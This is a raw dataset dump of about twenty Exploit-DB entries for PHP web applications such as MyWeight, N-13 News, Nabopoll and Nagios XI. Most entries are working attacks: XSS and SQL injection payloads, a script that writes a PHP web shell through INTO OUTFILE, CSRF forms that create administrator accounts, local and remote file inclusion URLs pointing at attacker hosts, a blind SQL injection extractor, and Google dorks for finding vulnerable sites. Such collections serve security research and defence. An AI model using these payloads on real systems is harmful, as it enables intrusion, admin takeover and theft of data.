deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34740
Description: MyWeight 1.0 - 'user_addfood.php?date' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-20
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43488/info

MyWeight is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

phplemon MyWeight 1.0 is vulnerable; others versions may be affected. 

http://www.example.com/user_addfood.php?date=1>"><ScRiPt %0A%0D>alert[PII_REDACTED]88)%3B</ScRiPt>
Exploit-DB #34741
Description: MyWeight 1.0 - 'user_forgot_pwd_form.php?info' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-20
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43488/info
 
MyWeight is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
phplemon MyWeight 1.0 is vulnerable; others versions may be affected. 

http://www.example.com/user_forgot_pwd_form.php?info=1<script>alert[PII_REDACTED]46)</script>
Exploit-DB #34742
Description: MyWeight 1.0 - 'user_login.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-07-20
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43488/info
  
MyWeight is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
phplemon MyWeight 1.0 is vulnerable; others versions may be affected. 

http://www.example.com/user_login.php?info=1<script>alert[PII_REDACTED]00)</script>
http://www.example.com/user_login.php?info=7&return=1>\"><ScRiPt+%0A%0D>alert[PII_REDACTED]28)%3B<%2FScRiPt>
Exploit-DB #9441
Description: MyWeight 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-08-14
Author: Mr.tro0oqy

Exploit:
=======================================================
+++++++++++++++++++ information +++++++++++++++++++++++
=======================================================
[+] Script :MyWeight 1.0 Shell Upload Vulnerability

[+] D0rk : Powered By phplemon.com

[+] Script site : http://www.myweight.me.uk

[+] Found by : Mr.tro0oqy  
   
[+] C0ntact : t.4@windowslive.com <Yemeni ana>
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
exploit:
-------
step1: register in site

http://www.xxx.com/path/user_register.php

step2: go to your profile

http://www.xxx.com/path/user_photo.php

step3: upload shell.php


enjoy :)

# milw0rm.com [2009-08-14]
Exploit-DB #23353
Description: MyYoutube MyBB Plugin 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2012-12-13
Author: Zixem

Exploit:
# Exploit Title: MyYoutube MyBB plugin SQL UPDATE injection.
# Google Dork: inurl:member.php intext:"Youtube Video" intitle:"Profile of"
# Date: 12.10.2012
# Exploit Author: Zixem
# Vendor Homepage: http://www.mybb-es.com
# Software Link: http://mods.mybb.com/view/myyoutube
# Version: 1.0
# Tested on: Linux.

MyYoutube plugin suffers from POST SQL UPDATE injection.

The vulnerabillity exist within youtube.php :
<?php

$plugins->add_hook("datahandler_user_update", "youtube_update"); /*Line 8*/ 

function youtube_update($ytb) /*Line 128*/
 {
 	global $mybb;
 	if(isset($mybb->input['ytb']))
	{
		$ytb->user_update_data['ytb'] = $mybb->input['ytb'];
	}
}

?>

Insturctions:
(1) Go to usercp.php?action=profile

(2) http://i.imgur.com/gPYdq.png
Enter this in the youtube ID field(just like in the picture): x', usergroup='4

(3) Press on the update button.

(4) You're an admin now :3


If you're still not admins, just play with the number...on my pentest forum, the admins usergroup number is 4.

PoC: 
before: http://i.imgur.com/aPFsz.png
While exploiting: http://i.imgur.com/gPYdq.png
Result: http://i.imgur.com/4ezpF.png


http://twitter.com/z1xem

-Zixem
Exploit-DB #26662
Description: N-13 News 1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2005-11-29
Author: KingOfSka

Exploit:
source: https://www.securityfocus.com/bid/15643/info

N-13 News is prone to an SQL injection vulnerability.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

All versions of N-13 News are considered to be affected at the moment.

<?php

###             0 day -- 29/11/2005
###
###     N-13 News Remote SQL / PHP-Shell Injection
###
###     Just upload in a web-server with mod_php
###     and run it trhough your browser ;)
###
###     Affected Software : http://network-13.com/  N-13 News
###     Version: All
###     Exploit discovere and written by: KingOfSka @ http://contropotere.altervista.org
###     Condition: Magic Quotes OFF
###                A world writeable directory accessible trough HTTP
###     To detect Server Path to N-13 just visit: http://www.site.com/n13/index.php?id=0'
###
?>
<html>
<head>
<title> .::KingOfSka N-13 News Remote PHP Shell Injection::. || http://contropotere.altervista.org || </title>
</head>
<body>
<header> .::KingOfSka N-13 News PHP Shell Injection::. || <a href = "http://contropotere.altervista.org/limbo/"> Contro Potere Hacking Crew </a> || </header> <br />
<br />
<?php
if (isset($_POST['url'])) {
$url = $_POST['url'];
$path2news = $_POST['path2news'];
$outfile = $_POST ['outfile'];
$sql = "0' UNION SELECT '0' , '<? system(\$_GET[cpc]);exit; ?>' ,0 ,0 ,0 ,0 INTO OUTFILE '$outfile";
$sql = urlencode($sql);
$expurl= $url."?id=".$sql ;
echo '<a href='.$expurl.'> Click Here to Exploit </a> <br />';
echo "After clicking go to http://www.site.com/path2phpshell/shell.php?cpc=ls to see results";
}
else
{
?>
Url to index.php: <br />
<form action = "<?php echo "$_SERVER[PHP_SELF]" ; ?>" method = "post">
<input type = "text" name = "url" value = "http://www.site.com/n13/index.php" size = "50"> <br />
Server Path to Shell: <br />
Full server path to a writable file which will contain the Php Shell <br />
<input type = "text" name = "outfile" value = "/var/www/localhost/htdocs/n13/shell.php" size = "50"> <br /> <br />
<input type = "submit" value = "Create Exploit"> <br /> <br />



<?php
}
?>
</body>
</html>
Exploit-DB #16013
Description: N-13 News 3.4 - Cross-Site Request Forgery (Admin Add)
Type: webapps
Platform: php
Date: 2011-01-18
Author: anT!-Tr0J4n

Exploit:
========================================================
N-13 News 3.4 Remote Admin Add CSRF Exploit
========================================================

#Title: N-13 News 3.4 Remote Admin Add CSRF Exploit

#Author         :   anT!-Tr0J4n

#Email      :   D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com

#Greetz    :   Dev-PoinT.com ; hack-book.com // GlaDiatOr ; Coffin Of Evil ;The Sword; Cyber-Err0r ; R3d-D3v1L

#special thanks    :  1337db team : r0073r, Sid3^effects ,L0rd CruSad3r ,SeeMe ,gunslinger_ ,Sn!pEr.S!Te , indoushka , KnocKout,
 
#Home     : http://1337db.com

#Software :  http://network-13.com

#Version   :  3.4

#Tested on:   Windows XP sp3

-----------------------------------
<html>
<head>
<title>Remote Admin Add CSRF Exploit</title>
</head>
<H2>Remote Admin Add CSRF Exploit by anT!-Tr0J4n</H2>
<form method="POST" name="form0" action="http://localhost/news/admin.php?action=options&mod=accounts&create=new">
<input type="hidden" name="accountname" value="admin"/>
<input type="hidden" name="accountemail" value="admin@local.com"/>
<input type="hidden" name="accountpassword1" value="admin"/>
<input type="hidden" name="accountpassword2" value="admin"/>
<input type="hidden" name="accountaccesslevel" value="1"/>
<input type="hidden" name="S1" value="Save"/>
</form>
<form method="GET" name="form1" action="http://localhost/news/js/main.php">
<input type="hidden" name="name" value="value"/> 
</form>

</body>
</html>
Exploit-DB #16931
Description: N-13 News 4.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2011-03-06
Author: AtT4CKxT3rR0r1ST

Exploit:
N-13 News 4.0 CSRF Vulnerability (Add Admin)
====================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Script         : http://n-13news.googlecode.com/files/n13news4.0.1.zip
.:. Tested On Demo : http://network-13.com/news/
.:. Home           : http://www.sec-risk.com/vb/
####################################################################

===[ Exploit ]===

<form method="POST" name="form0" action="http://localhost/N-13 News 4.0/admin.php?action=options&mod=accounts&create=new">
<input type="hidden" name="accountname" value="WebAdmin"/>
<input type="hidden" name="accountemail" value="Example@hotmail.com"/>
<input type="hidden" name="accountpassword1" value="123456"/>
<input type="hidden" name="accountpassword2" value="123456"/>
<input type="hidden" name="accountaccesslevel" value="1"/>
<input type="hidden" name="S1" value="Save"/>
</form>
<form method="GET" name="form1" action="http://localhost/N-13 News 4.0/js/main.php">
<input type="hidden" name="name" value="value"/> 
</form>

</body>
</html>
####################################################################
Exploit-DB #33821
Description: n-cms-equipe 1.1c.Debug - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2010-02-24
Author: ITSecTeam

Exploit:
source: https://www.securityfocus.com/bid/39298/info

n-cms-equipe is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

n-cms-equipe 1.1C-Debug is vulnerable; other versions may also be affected. 

<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1254"> <title>#####coded by ahmadbady#####</title> <script language="JavaScript"> //=========================================================================== //( #Topic : N'CMS Updated 2010-02-24 //( #Bug type : local file include //( #Download : http://sourceforge.net/projects/n-cms/files/N-CMS%20Equipe/n-cms-equipe-V1.1C-Debug.zip/download //( #Advisory : //=========================================================================== //( #Author : ItSecTeam //( #Email : Bug@ITSecTeam.com # //( #Website: http://www.itsecteam.com # //( #Forum : http://forum.ITSecTeam.com # //--------------------------------------------------------------------- var variable1 ="?page=" var variable2 ="?tData[name]=" function it(){ if (xpl.file.value=="includs.php"){ variable1 = variable2; } xpl.action= xpl.victim.value+xpl.path.value+xpl.file.value+variable1+xpl.file0.value;xpl.submit(); } </script> </head> <body bgcolor="#FFFFFF"> <p align="left"><font color="#0000FF">N'CMS & N'Games local file include Vulnerability</font></p> <p align="left"><font color="#FF0000">vul1 file:/path/template/theme1/content/body.php</font></p> <p align="left"><font color="#FF0000">vul2 file:/path/template/theme1/content/includs.php</font></p> <p align="left"><font color="#0000FF">-----------------------------------</font></p> <form method="post" name="xpl" onSubmit="it();"> <p align="left"> <font size="2" face="Tahoma"> victim: <input type="text" name="victim" size="20";" style="color: #FFFFFF; background-color: #000000" value="http://127.0.0.1"> path: <input type="text" name="path" size="20";" style="color: #FFFFFF; background-color: #000000" value="/path/template/theme1/content/"> file: <input type="text" name="file" size="20";" style="color: #FFFFFF; background-color: #000000">&nbsp;&nbsp; lfi code:&nbsp; <input type="text" name="file0" size="20";" style="color: #FFFFFF; background-color: #000000" value="..%2F..%2F..%2F..%2F..%2Fboot.ini%00"></p> </p> <center> </p> <p><input type="submit" value="GO" name="B1" style="float: left"><input type="reset" value="reset" name="B2" style="float: left"></p> </form> <p><br> &nbsp;</p> </center> </body> </html>
Exploit-DB #22116
Description: N/X Web Content Management System 2002 Prerelease 1 - 'datasets.php?c_path' Local File Inclusion
Type: webapps
Platform: php
Date: 2003-01-02
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6500/info
 
N/X Web Content Management System is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers.
 
An attacker may exploit this by supplying a path to a maliciously created file, located on an attacker-controlled host as a value for some parameters.
 
If the remote file is a PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the webserver. Successful exploitation may provide local access to the attacker. 

http://[target]/nx/common/dbo/datasets.php?c_path=http://[attacker]/
with :
http://[attacker]/common/dbo/saveset.php
http://[attacker]/common/dbo/recordset.php
http://[attacker]/common/dbo/deleteset.php
http://[attacker]/common/dbo/updateset.php
http://[attacker]/common/dbo/insertset.php
Exploit-DB #22115
Description: N/X Web Content Management System 2002 Prerelease 1 - 'menu.inc.php?c_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-01-02
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6500/info

N/X Web Content Management System is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers.

An attacker may exploit this by supplying a path to a maliciously created file, located on an attacker-controlled host as a value for some parameters.

If the remote file is a PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the webserver. Successful exploitation may provide local access to the attacker. 

http://[target]/nx/common/cds/menu.inc.php?c_path=http://[attacker]/
with :
http://[attacker]/common/lib/launch.inc.php
Exploit-DB #27331
Description: n8cms 1.1/1.2 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-02-27
Author: Liz0ziM

Exploit:
source: https://www.securityfocus.com/bid/16858/info
 
The 'n8cms' script is prone to multiple input-validation vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input. 
 
Successful exploitation could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/path/?dir=[xss]
http://www.example.com/path/?dir=home&page_id=[xss]
Exploit-DB #27330
Description: n8cms 1.1/1.2 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-02-27
Author: Liz0ziM

Exploit:
source: https://www.securityfocus.com/bid/16858/info

The 'n8cms' script is prone to multiple input-validation vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/path/?dir=[sql]
http://www.example.com/path/?dir=home&page_id=[sql]
Exploit-DB #27332
Description: n8cms 1.1/1.2 - 'mailto.php?userid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-27
Author: Liz0ziM

Exploit:
source: https://www.securityfocus.com/bid/16858/info
  
The 'n8cms' script is prone to multiple input-validation vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input. 
  
Successful exploitation could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/path/mailto.php?userid=[xss]
Exploit-DB #2514
Description: n@board 3.1.9e - 'naboard_pnr.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-11
Author: mdx

Exploit:
#        n@board v3.1.9e, 3.1.8cgb ,3.1.8tc            #
#       skin Remote File Include Vulnerability         #
#                       Turkish Hacker's               #
#       Discovered By : mdx and The_Bat_Hacker         #
#                                                      #
#------------------------------------------------------
#               Cyber-Warrior TIM                      #
#         Ay ve  Y.ld.zlar Geceye Yak...r...           #
#        the moon and the stars suit the night         #
########################################################
#
# Class : REmote
########################################################
#             File Code Detailed
#File :naboard_pnr.php?
#
#Code :
#
#include"$skin/pnr_top.php";
########################################################
#
#
# Exploit : http://www.target.***/[path]/naboard_pnr.php?skin=http://shell.txt?
#
#
########################################################
#                         _ThankX_
#
#
#
#Cyber-warrior User ,PROHACK, Siber-korsanlar [redx, dipsomania, k.z.l_alev]
#Shika, xoron , real_dark_boy, All Friends
########################################################

# milw0rm.com [2006-10-11]
Exploit-DB #11482
Description: Nabernet - 'articles.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-17
Author: AtT4CKxT3rR0r1ST

Exploit:
Nabernet (articles.php) Sql Injection Vulnerability
==============================================================

####################################################################
.:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn]
.:. Home : www.sec-attack.com/vb [Sec Attack Team]
.:. Bug Type : Sql Injection[Mysql]
.:. Dork : "powered by Nabernet"

####################################################################

===[ Exploit ]===

www.site.com/articles.php?id=null[Sql]

www.site.com/articles.php?id=null'+and+1=2+union+select+null,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,null,null,null,null,null,null-- -


####################################################################
Exploit-DB #3355
Description: Nabopoll 1.2 - 'result.php?surv' Blind SQL Injection
Type: webapps
Platform: php
Date: 2007-02-21
Author: s0cratex

Exploit:
<?
# Nabopoll Blind SQL Injection P0C Exploit
# Download: www.nabocorp.com/nabopoll/
# coded by s0cratex
# Contact: s0cratex@hotmail.com

error_reporting(0);
ini_set("max_execution_time",0);

// just change the default values...
$srv = "localhost"; $path = "/poll"; $port = 80;
$survey = "8"; //you can verify the number entering in the site and viewing the results...

echo "==================================================\n";
echo "Nabopoll SQL Injection -- Proof of Concept Exploit\n";
echo "--------------------------------------------------\n\n";
echo " -- MySQL User: ";
$j = 1; $user = "";
while(!strstr($user,chr(0))){
for($x=0;$x<255;$x++){
$xpl = "/result.php?surv=".$survey."/**/AND/**/1=(SELECT/**/(IF((ASCII(SUBSTRING(user(),".$j.",1))=".$x."),1,0)))/*";
$cnx = fsockopen($srv,$port);
fwrite($cnx,"GET ".$path.$xpl." HTTP/1.0\r\n\r\n");
while(!feof($cnx)){ if(ereg("power",fgets($cnx))){ $user.=chr($x);echo chr($x); break; } }
fclose($cnx);
if ($x==255) {
die("\n Try again...");
}
}
$j++;
}
echo "\n";
?>

# milw0rm.com [2007-02-21]
Exploit-DB #3315
Description: nabopoll 1.2 - 'survey.inc.php?path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-15
Author: Cr@zy_King

Exploit:
By Cr@zy_King

crazy_king@eno7.org

Thakns : ApAci & Erne & Uyussman & Eno7 & Thehacker & Crackers_Child & Liz0zim

Script : nabopoll 1.x

Risk : Remote File .nclude | High

Site : http://nabocorp.com/

Google Dork : inurl:"nabopoll/"

Exploit :
include_once($path."includes/tags.inc.php");
include_once($path."config.inc.php");

Files: survey.inc.php

Exploit : http://www.site.com/[path]/survey.inc.php?path=http://sheel.txt?

Ayyildiz.Org Present

# milw0rm.com [2007-02-15]
Exploit-DB #3305
Description: nabopoll 1.2 - Remote Unprotected Admin Section
Type: webapps
Platform: php
Date: 2007-02-13
Author: sn0oPy

Exploit:
* nabopoll 1.1.2 sensitive file (admin without password)

* By : sn0oPy

* Risk : high

* site : http://nabocorp.com/

* Dork : inurl:"nabopoll/"

* exploit :

acces without password to :

http://target/nabopoll/admin/config_edit.php
http://target/nabopoll/admin/template_edit.php
http://target/nabopoll/admin/survey_edit.php

* contact : sn0oPy (at) avenir-geopolitique (dot) net [email concealed]

* greetz : [subzero], Avg Team(forums.avenir-geopolitique.net).

http://forums.avenir-geopolitique.net/viewtopic.php?t=2643

# milw0rm.com [2007-02-13]
Exploit-DB #46910
Description: Nagios XI 5.6.1 - SQL injection
Type: webapps
Platform: php
Date: 2019-05-23
Author: JameelNabbo

Exploit:
# Exploit Title: Nagiosxi username sql injection
# Date: 22/05/2019
# Exploit Author: JameelNabbo
# Website: jameelnabbo.com
# Vendor Homepage: https://www.nagios.com
# Software Link: https://www.nagios.com/products/nagios-xi/
# Version: xi-5.6.1
# Tested on: MacOSX
#CVE: CVE-2019-12279

POC:

POST /nagiosxi/login.php?forgotpass HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com/nagiosxi/login.php?forgotpass
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Connection: close
Cookie: nagiosxi=iu78vcultg46f35fq7lfbv8tc6
Upgrade-Insecure-Requests: 1

page=%2Fnagiosxi%2Flogin.php&pageopt=resetpass&nsp=cb6ad70efd0cc0b36ff4fc1d67cd70fb96a7e06622d281acb8810aa65485b03b&username={SQL INJECTION}